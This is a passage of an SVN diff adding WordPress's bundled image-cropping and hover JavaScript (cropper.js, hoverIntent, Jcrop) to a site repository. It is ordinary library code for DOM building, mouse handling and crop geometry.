+var _a=s.src.replace(/cropper\.js(.*)?/,"");
+var _b=document.createElement("link");
+_b.rel="stylesheet";
+_b.type="text/css";
+_b.href=_a+"cropper.css";
+_b.media="screen";
+document.getElementsByTagName("head")[0].appendChild(_b);
+}
+});
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){
+var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y);
+this.ratioX=this.options.ratioDim.x/_c;
+this.ratioY=this.options.ratioDim.y/_c;
+}
+this.subInitialize();
+if(this.img.complete||this.isWebKit){
+this.onLoad();
+}else{
+Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this));
+}
+},getGCD:function(a,b){return 1;
+if(b==0){
+return a;
+}
+return this.getGCD(b,a%b);
+},onLoad:function(){
+var _f="imgCrop_";
+var _10=this.img.parentNode;
+var _11="";
+if(this.isOpera8){
+_11=" opera8";
+}
+this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11});
+if(this.isIE){
+this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]);
+this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]);
+this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]);
+this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]);
+var _12=[this.north,this.east,this.south,this.west];
+}else{
+this.overlay=Builder.node("div",{"class":_f+"overlay"});
+var _12=[this.overlay];
+}
+this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12);
+this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"});
+this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"});
+this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"});
+this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"});
+this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"});
+this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"});
+this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"});
+this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"});
+this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]);
+Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"});
+this.imgWrap.appendChild(this.img);
+this.imgWrap.appendChild(this.dragArea);
+this.dragArea.appendChild(this.selArea);
+this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"}));
+_10.appendChild(this.imgWrap);
+Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_13.length;i++){
+Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)});
+this.setParams();
+},setParams:function(){
+this.imgW=this.img.width;
+this.imgH=this.img.height;
+if(!this.isIE){
+Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"});
+Element.hide($(this.overlay));
+Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"});
+}else{
+Element.setStyle($(this.north),{height:0});
+Element.setStyle($(this.east),{width:0,height:0});
+Element.setStyle($(this.south),{height:0});
+Element.setStyle($(this.west),{width:0,height:0});
+}
+Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"});
+Element.hide($(this.selArea));
+var _15=Position.positionedOffset(this.imgWrap);
+this.wrapOffsets={"top":_15[1],"left":_15[0]};
+var _16={x1:0,y1:0,x2:0,y2:0};
+this.setAreaCoords(_16);
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){
+_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2);
+_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2);
+_16.x2=_16.x1+this.options.ratioDim.x;
+_16.y2=_16.y1+this.options.ratioDim.y;
+Element.show(this.selArea);
+this.drawArea();
+this.endCrop();
+}
+this.attached=true;
+},remove:function(){
+this.attached=false;
+this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap);
+this.imgWrap.parentNode.removeChild(this.imgWrap);
+Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_17.length;i++){
+Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+},reset:function(){
+if(!this.attached){
+this.onLoad();
+}else{
+this.setParams();
+}
+this.endCrop();
+},handleKeys:function(e){
+var dir={x:0,y:0};
+if(!this.dragging){
+switch(e.keyCode){
+case (37):
+dir.x=-1;
+break;
+case (38):
+dir.y=-1;
+break;
+case (39):
+dir.x=1;
+break;
+case (40):
+dir.y=1;
+break;
+}
+if(dir.x!=0||dir.y!=0){
+if(e.shiftKey){
+dir.x*=10;
+dir.y*=10;
+}
+this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]);
+Event.stop(e);
+}
+}
+},calcW:function(){
+return (this.areaCoords.x2-this.areaCoords.x1);
+},calcH:function(){
+return (this.areaCoords.y2-this.areaCoords.y1);
+},moveArea:function(_1b){
+this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true);
+this.drawArea();
+},cloneCoords:function(_1c){
+return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2};
+},setAreaCoords:function(_1d,_1e,_1f,_20,_21){
+var _22=typeof _1e!="undefined"?_1e:false;
+var _23=typeof _1f!="undefined"?_1f:false;
+if(_1e){
+var _24=_1d.x2-_1d.x1;
+var _25=_1d.y2-_1d.y1;
+if(_1d.x1<0){
+_1d.x1=0;
+_1d.x2=_24;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+_1d.y2=_25;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+_1d.x1=this.imgW-_24;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+_1d.y1=this.imgH-_25;
+}
+}else{
+if(_1d.x1<0){
+_1d.x1=0;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+}
+if(typeof (_20)!="undefined"){
+if(this.ratioX>0){
+this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21);
+}else{
+if(_23){
+this.applyRatio(_1d,{x:1,y:1},_20,_21);
+}
+}
+var _26={a1:_1d.x1,a2:_1d.x2};
+var _27={a1:_1d.y1,a2:_1d.y2};
+var _28=this.options.minWidth;
+var _29=this.options.minHeight;
+if((_28==0||_29==0)&&_23){
+if(_28>0){
+_29=_28;
+}else{
+if(_29>0){
+_28=_29;
+}
+}
+}
+this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW});
+this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH});
+_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2};
+}
+}
+this.areaCoords=_1d;
+},applyMinDimension:function(_2a,_2b,_2c,_2d){
+if((_2a.a2-_2a.a1)<_2b){
+if(_2c==1){
+_2a.a2=_2a.a1+_2b;
+}else{
+_2a.a1=_2a.a2-_2b;
+}
+if(_2a.a1<_2d.min){
+_2a.a1=_2d.min;
+_2a.a2=_2b;
+}else{
+if(_2a.a2>_2d.max){
+_2a.a1=_2d.max-_2b;
+_2a.a2=_2d.max;
+}
+}
+}
+},applyRatio:function(_2e,_2f,_30,_31){
+var _32;
+if(_31=="N"||_31=="S"){
+_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW});
+_2e.x1=_32.b1;
+_2e.y1=_32.a1;
+_2e.x2=_32.b2;
+_2e.y2=_32.a2;
+}else{
+_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH});
+_2e.x1=_32.a1;
+_2e.y1=_32.b1;
+_2e.x2=_32.a2;
+_2e.y2=_32.b2;
+}
+},applyRatioToAxis:function(_33,_34,_35,_36){
+var _37=Object.extend(_33,{});
+var _38=_37.a2-_37.a1;
+var _3a=Math.floor(_38*_34.b/_34.a);
+var _3b;
+var _3c;
+var _3d=null;
+if(_35.b==1){
+_3b=_37.b1+_3a;
+if(_3b>_36.max){
+_3b=_36.max;
+_3d=_3b-_37.b1;
+}
+_37.b2=_3b;
+}else{
+_3b=_37.b2-_3a;
+if(_3b<_36.min){
+_3b=_36.min;
+_3d=_3b+_37.b2;
+}
+_37.b1=_3b;
+}
+if(_3d!=null){
+_3c=Math.floor(_3d*_34.a/_34.b);
+if(_35.a==1){
+_37.a2=_37.a1+_3c;
+}else{
+_37.a1=_37.a1=_37.a2-_3c;
+}
+}
+return _37;
+},drawArea:function(){
+if(!this.isIE){
+Element.show($(this.overlay));
+}
+var _3e=this.calcW();
+var _3f=this.calcH();
+var _40=this.areaCoords.x2;
+var _41=this.areaCoords.y2;
+var _42=this.selArea.style;
+_42.left=this.areaCoords.x1+"px";
+_42.top=this.areaCoords.y1+"px";
+_42.width=_3e+"px";
+_42.height=_3f+"px";
+var _43=Math.ceil((_3e-6)/2)+"px";
+var _44=Math.ceil((_3f-6)/2)+"px";
+this.handleN.style.left=_43;
+this.handleE.style.top=_44;
+this.handleS.style.left=_43;
+this.handleW.style.top=_44;
+if(this.isIE){
+this.north.style.height=this.areaCoords.y1+"px";
+var _45=this.east.style;
+_45.top=this.areaCoords.y1+"px";
+_45.height=_3f+"px";
+_45.left=_40+"px";
+_45.width=(this.img.width-_40)+"px";
+var _46=this.south.style;
+_46.top=_41+"px";
+_46.height=(this.img.height-_41)+"px";
+var _47=this.west.style;
+_47.top=this.areaCoords.y1+"px";
+_47.height=_3f+"px";
+_47.width=this.areaCoords.x1+"px";
+}else{
+_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px";
+}
+this.subDrawArea();
+this.forceReRender();
+},forceReRender:function(){
+if(this.isIE||this.isWebKit){
+var n=document.createTextNode(" ");
+var d,el,fixEL,i;
+if(this.isIE){
+fixEl=this.selArea;
+}else{
+if(this.isWebKit){
+fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0];
+d=Builder.node("div","");
+d.style.visibility="hidden";
+var _4a=["SE","S","SW"];
+for(i=0;i<_4a.length;i++){
+el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0];
+if(el.childNodes.length){
+el.removeChild(el.childNodes[0]);
+}
+el.appendChild(d);
+}
+}
+}
+fixEl.appendChild(n);
+fixEl.removeChild(n);
+}
+},startResize:function(e){
+this.startCoords=this.cloneCoords(this.areaCoords);
+this.resizing=true;
+this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,"");
+Event.stop(e);
+},startDrag:function(e){
+Element.show(this.selArea);
+this.clickCoords=this.getCurPos(e);
+this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y});
+this.dragging=true;
+this.onDrag(e);
+Event.stop(e);
+},getCurPos:function(e){
+return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top};
+},onDrag:function(e){
+var _4f=null;
+if(this.dragging||this.resizing){
+var _50=this.getCurPos(e);
+var _51=this.cloneCoords(this.areaCoords);
+var _52={x:1,y:1};
+}
+if(this.dragging){
+if(_50.x<this.clickCoords.x){
+_52.x=-1;
+}
+if(_50.y<this.clickCoords.y){
+_52.y=-1;
+}
+this.transformCoords(_50.x,this.clickCoords.x,_51,"x");
+this.transformCoords(_50.y,this.clickCoords.y,_51,"y");
+}else{
+if(this.resizing){
+_4f=this.resizeHandle;
+if(_4f.match(/E/)){
+this.transformCoords(_50.x,this.startCoords.x1,_51,"x");
+if(_50.x<this.startCoords.x1){
+_52.x=-1;
+}
+}else{
+if(_4f.match(/W/)){
+this.transformCoords(_50.x,this.startCoords.x2,_51,"x");
+if(_50.x<this.startCoords.x2){
+_52.x=-1;
+}
+}
+}
+if(_4f.match(/N/)){
+this.transformCoords(_50.y,this.startCoords.y2,_51,"y");
+if(_50.y<this.startCoords.y2){
+_52.y=-1;
+}
+}else{
+if(_4f.match(/S/)){
+this.transformCoords(_50.y,this.startCoords.y1,_51,"y");
+if(_50.y<this.startCoords.y1){
+_52.y=-1;
+}
+}
+}
+}
+}
+if(this.dragging||this.resizing){
+this.setAreaCoords(_51,false,e.shiftKey,_52,_4f);
+this.drawArea();
+Event.stop(e);
+}
+},transformCoords:function(_53,_54,_55,_56){
+var _57=new Array();
+if(_53<_54){
+_57[0]=_53;
+_57[1]=_54;
+}else{
+_57[0]=_54;
+_57[1]=_53;
+}
+if(_56=="x"){
+_55.x1=_57[0];
+_55.x2=_57[1];
+}else{
+_55.y1=_57[0];
+_55.y2=_57[1];
+}
+},endCrop:function(){
+this.dragging=false;
+this.resizing=false;
+this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()});
+},subInitialize:function(){
+},subDrawArea:function(){
+}};
+Cropper.ImgWithPreview=Class.create();
+Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){
+this.hasPreviewImg=false;
+if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){
+this.previewWrap=$(this.options.previewWrap);
+this.previewImg=this.img.cloneNode(false);
+this.options.displayOnInit=true;
+this.hasPreviewImg=true;
+Element.addClassName(this.previewWrap,"imgCrop_previewWrap");
+Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"});
+this.previewWrap.appendChild(this.previewImg);
+}
+},subDrawArea:function(){
+if(this.hasPreviewImg){
+var _58=this.calcW();
+var _59=this.calcH();
+var _5a={x:this.imgW/_58,y:this.imgH/_59};
+var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight};
+var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"};
+var _5d=this.previewImg.style;
+_5d.width=_5c.w;
+_5d.height=_5c.h;
+_5d.left=_5c.x;
+_5d.top=_5c.y;
+}
+}});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.dev.js	(revision 44)
@@ -0,0 +1,128 @@
+/**
+* hoverIntent is similar to jQuery's built-in "hover" function except that
+* instead of firing the onMouseOver event immediately, hoverIntent checks
+* to see if the user's mouse has slowed down (beneath the sensitivity
+* threshold) before firing the onMouseOver event.
+* 
+* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
+* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
+* 
+* hoverIntent is currently available for use in all personal or commercial 
+* projects under both MIT and GPL licenses. This means that you can choose 
+* the license that best suits your project, and use it accordingly.
+* 
+* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions
+* $("ul li").hoverIntent( showNav , hideNav );
+* 
+* // advanced usage receives configuration object only
+* $("ul li").hoverIntent({
+*	sensitivity: 7, // number = sensitivity threshold (must be 1 or higher)
+*	interval: 100,   // number = milliseconds of polling interval
+*	over: showNav,  // function = onMouseOver callback (required)
+*	timeout: 0,   // number = milliseconds delay before onMouseOut function call
+*	out: hideNav    // function = onMouseOut callback (required)
+* });
+* 
+* @param  f  onMouseOver function || An object with configuration options
+* @param  g  onMouseOut function  || Nothing (use configuration options object)
+* @author    Brian Cherne <brian@cherne.net>
+*/
+(function($) {
+	$.fn.hoverIntent = function(f,g) {
+		// default configuration options
+		var cfg = {
+			sensitivity: 7,
+			interval: 100,
+			timeout: 0
+		};
+		// override configuration options with user supplied object
+		cfg = $.extend(cfg, g ? { over: f, out: g } : f );
+
+		// instantiate variables
+		// cX, cY = current X and Y position of mouse, updated by mousemove event
+		// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
+		var cX, cY, pX, pY;
+
+		// A private function for getting mouse position
+		var track = function(ev) {
+			cX = ev.pageX;
+			cY = ev.pageY;
+		};
+
+		// A private function for comparing current and previous mouse position
+		var compare = function(ev,ob) {
+			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+			// compare mouse positions to see if they've crossed the threshold
+			if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
+				$(ob).unbind("mousemove",track);
+				// set hoverIntent state to true (so mouseOut can be called)
+				ob.hoverIntent_s = 1;
+				return cfg.over.apply(ob,[ev]);
+			} else {
+				// set previous coordinates for next time
+				pX = cX; pY = cY;
+				// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
+				ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
+			}
+		};
+
+		// A private function for delaying the mouseOut function
+		var delay = function(ev,ob) {
+			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
+			ob.hoverIntent_s = 0;
+			return cfg.out.apply(ob,[ev]);
+		};
+		
+		// workaround for Mozilla bug: not firing mouseout/mouseleave on absolute positioned elements over textareas and input type="text"
+		var handleHover = function(e) {
+			var t = this;
+			
+			// next two lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
+			var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
+			while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
+			if ( p == this ) {
+				if ( $.browser.mozilla ) {
+					if ( e.type == "mouseout" ) {
+						t.mtout = setTimeout( function(){doHover(e,t);}, 30 );
+					} else {
+						if (t.mtout) { t.mtout = clearTimeout(t.mtout); }
+					}
+				}
+				return;
+			} else {
+				if (t.mtout) { t.mtout = clearTimeout(t.mtout); }
+				doHover(e,t);
+			}
+		};
+
+		// A private function for handling mouse 'hovering'
+		var doHover = function(e,ob) {
+
+			// copy objects to be passed into t (required for event object to be passed in IE)
+			var ev = jQuery.extend({},e);
+
+			// cancel hoverIntent timer if it exists
+			if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }
+
+			// else e.type == "onmouseover"
+			if (e.type == "mouseover") {
+				// set "previous" X and Y position based on initial entry point
+				pX = ev.pageX; pY = ev.pageY;
+				// update "current" X and Y position based on mousemove
+				$(ob).bind("mousemove",track);
+				// start polling interval (self-calling timeout) to compare mouse coordinates over time
+				if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}
+
+			// else e.type == "onmouseout"
+			} else {
+				// unbind expensive mousemove event
+				$(ob).unbind("mousemove",track);
+				// if hoverIntent state is true, then call the mouseOut function after the specified delay
+				if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
+			}
+		};
+
+		// bind the function to the two event listeners
+		return this.mouseover(handleHover).mouseout(handleHover);
+	};
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/hoverIntent.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){a.fn.hoverIntent=function(l,j){var m={sensitivity:7,interval:100,timeout:0};m=a.extend(m,j?{over:l,out:j}:l);var o,n,h,d;var e=function(f){o=f.pageX;n=f.pageY};var c=function(g,f){f.hoverIntent_t=clearTimeout(f.hoverIntent_t);if((Math.abs(h-o)+Math.abs(d-n))<m.sensitivity){a(f).unbind("mousemove",e);f.hoverIntent_s=1;return m.over.apply(f,[g])}else{h=o;d=n;f.hoverIntent_t=setTimeout(function(){c(g,f)},m.interval)}};var i=function(g,f){f.hoverIntent_t=clearTimeout(f.hoverIntent_t);f.hoverIntent_s=0;return m.out.apply(f,[g])};var b=function(q){var f=this;var g=(q.type=="mouseover"?q.fromElement:q.toElement)||q.relatedTarget;while(g&&g!=this){try{g=g.parentNode}catch(q){g=this}}if(g==this){if(a.browser.mozilla){if(q.type=="mouseout"){f.mtout=setTimeout(function(){k(q,f)},30)}else{if(f.mtout){f.mtout=clearTimeout(f.mtout)}}}return}else{if(f.mtout){f.mtout=clearTimeout(f.mtout)}k(q,f)}};var k=function(p,f){var g=jQuery.extend({},p);if(f.hoverIntent_t){f.hoverIntent_t=clearTimeout(f.hoverIntent_t)}if(p.type=="mouseover"){h=g.pageX;d=g.pageY;a(f).bind("mousemove",e);if(f.hoverIntent_s!=1){f.hoverIntent_t=setTimeout(function(){c(g,f)},m.interval)}}else{a(f).unbind("mousemove",e);if(f.hoverIntent_s==1){f.hoverIntent_t=setTimeout(function(){i(g,f)},m.timeout)}}};return this.mouseover(b).mouseout(b)}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.css	(revision 44)
@@ -0,0 +1,35 @@
+/* Fixes issue here http://code.google.com/p/jcrop/issues/detail?id=1 */
+.jcrop-holder { text-align: left; }
+
+.jcrop-vline, .jcrop-hline
+{
+	font-size: 0;
+	position: absolute;
+	background: white url('Jcrop.gif') top left repeat;
+}
+.jcrop-vline { height: 100%; width: 1px !important; }
+.jcrop-hline { width: 100%; height: 1px !important; }
+.jcrop-handle {
+	font-size: 1px;
+	width: 7px !important;
+	height: 7px !important;
+	border: 1px #eee solid;
+	background-color: #333;
+	*width: 9px;
+	*height: 9px;
+}
+
+.jcrop-tracker { width: 100%; height: 100%; }
+
+.custom .jcrop-vline,
+.custom .jcrop-hline
+{
+	background: yellow;
+}
+.custom .jcrop-handle
+{
+	border-color: black;
+	background-color: #C7BB00;
+	-moz-border-radius: 3px;
+	-webkit-border-radius: 3px;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.dev.js	(revision 44)
@@ -0,0 +1,1197 @@
+/**
+ * jquery.Jcrop.js v0.9.8
+ * jQuery Image Cropping Plugin
+ * @author Kelly Hallman <khallman@gmail.com>
+ * Copyright (c) 2008-2009 Kelly Hallman - released under MIT License {{{
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use,
+ * copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following
+ * conditions:
+
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+ * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+ * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+
+ * }}}
+ */
+
+(function($) {
+
+$.Jcrop = function(obj,opt)
+{
+	// Initialization {{{
+
+	// Sanitize some options {{{
+	var obj = obj, opt = opt;
+
+	if (typeof(obj) !== 'object') obj = $(obj)[0];
+	if (typeof(opt) !== 'object') opt = { };
+
+	// Some on-the-fly fixes for MSIE...sigh
+	if (!('trackDocument' in opt))
+	{
+		opt.trackDocument = $.browser.msie ? false : true;
+		if ($.browser.msie && $.browser.version.split('.')[0] == '8')
+			opt.trackDocument = true;
+	}
+
+	if (!('keySupport' in opt))
+			opt.keySupport = $.browser.msie ? false : true;
+		
+	// }}}
+	// Extend the default options {{{
+	var defaults = {
+
+		// Basic Settings
+		trackDocument:		false,
+		baseClass:			'jcrop',
+		addClass:			null,
+
+		// Styling Options
+		bgColor:			'black',
+		bgOpacity:			.6,
+		borderOpacity:		.4,
+		handleOpacity:		.5,
+
+		handlePad:			5,
+		handleSize:			9,
+		handleOffset:		5,
+		edgeMargin:			14,
+
+		aspectRatio:		0,
+		keySupport:			true,
+		cornerHandles:		true,
+		sideHandles:		true,
+		drawBorders:		true,
+		dragEdges:			true,
+
+		boxWidth:			0,
+		boxHeight:			0,
+
+		boundary:			8,
+		animationDelay:		20,
+		swingSpeed:			3,
+
+		allowSelect:		true,
+		allowMove:			true,
+		allowResize:		true,
+
+		minSelect:			[ 0, 0 ],
+		maxSize:			[ 0, 0 ],
+		minSize:			[ 0, 0 ],
+
+		// Callbacks / Event Handlers
+		onChange: function() { },
+		onSelect: function() { }
+
+	};
+	var options = defaults;
+	setOptions(opt);
+
+	// }}}
+	// Initialize some jQuery objects {{{
+
+	var $origimg = $(obj);
+	var $img = $origimg.clone().removeAttr('id').css({ position: 'absolute' });
+
+	$img.width($origimg.width());
+	$img.height($origimg.height());
+	$origimg.after($img).hide();
+
+	presize($img,options.boxWidth,options.boxHeight);
+
+	var boundx = $img.width(),
+		boundy = $img.height(),
+
+		$div = $('<div />')
+			.width(boundx).height(boundy)
+			.addClass(cssClass('holder'))
+			.css({
+				position: 'relative',
+				backgroundColor: options.bgColor
+			}).insertAfter($origimg).append($img);
+	;
+	
+	if (options.addClass) $div.addClass(options.addClass);
+	//$img.wrap($div);
+
+	var $img2 = $('<img />')/*{{{*/
+			.attr('src',$img.attr('src'))
+			.css('position','absolute')
+			.width(boundx).height(boundy)
+	;/*}}}*/
+	var $img_holder = $('<div />')/*{{{*/
+		.width(pct(100)).height(pct(100))
+		.css({
+			zIndex: 310,
+			position: 'absolute',
+			overflow: 'hidden'
+		})
+		.append($img2)
+	;/*}}}*/
+	var $hdl_holder = $('<div />')/*{{{*/
+		.width(pct(100)).height(pct(100))
+		.css('zIndex',320);
+	/*}}}*/
+	var $sel = $('<div />')/*{{{*/
+		.css({
+			position: 'absolute',
+			zIndex: 300
+		})
+		.insertBefore($img)
+		.append($img_holder,$hdl_holder)
+	;/*}}}*/
+
+	var bound = options.boundary;
+	var $trk = newTracker().width(boundx+(bound*2)).height(boundy+(bound*2))
+		.css({ position: 'absolute', top: px(-bound), left: px(-bound), zIndex: 290 })
+		.mousedown(newSelection);	
+	
+	/* }}} */
+	// Set more variables {{{
+
+	var xlimit, ylimit, xmin, ymin;
+	var xscale, yscale, enabled = true;
+	var docOffset = getPos($img),
+		// Internal states
+		btndown, lastcurs, dimmed, animating,
+		shift_down;
+
+	// }}}
+		
+
+		// }}}
+	// Internal Modules {{{
+
+	var Coords = function()/*{{{*/
+	{
+		var x1 = 0, y1 = 0, x2 = 0, y2 = 0, ox, oy;
+
+		function setPressed(pos)/*{{{*/
+		{
+			var pos = rebound(pos);
+			x2 = x1 = pos[0];
+			y2 = y1 = pos[1];
+		};
+		/*}}}*/
+		function setCurrent(pos)/*{{{*/
+		{
+			var pos = rebound(pos);
+			ox = pos[0] - x2;
+			oy = pos[1] - y2;
+			x2 = pos[0];
+			y2 = pos[1];
+		};
+		/*}}}*/
+		function getOffset()/*{{{*/
+		{
+			return [ ox, oy ];
+		};
+		/*}}}*/
+		function moveOffset(offset)/*{{{*/
+		{
+			var ox = offset[0], oy = offset[1];
+
+			if (0 > x1 + ox) ox -= ox + x1;
+			if (0 > y1 + oy) oy -= oy + y1;
+
+			if (boundy < y2 + oy) oy += boundy - (y2 + oy);
+			if (boundx < x2 + ox) ox += boundx - (x2 + ox);
+
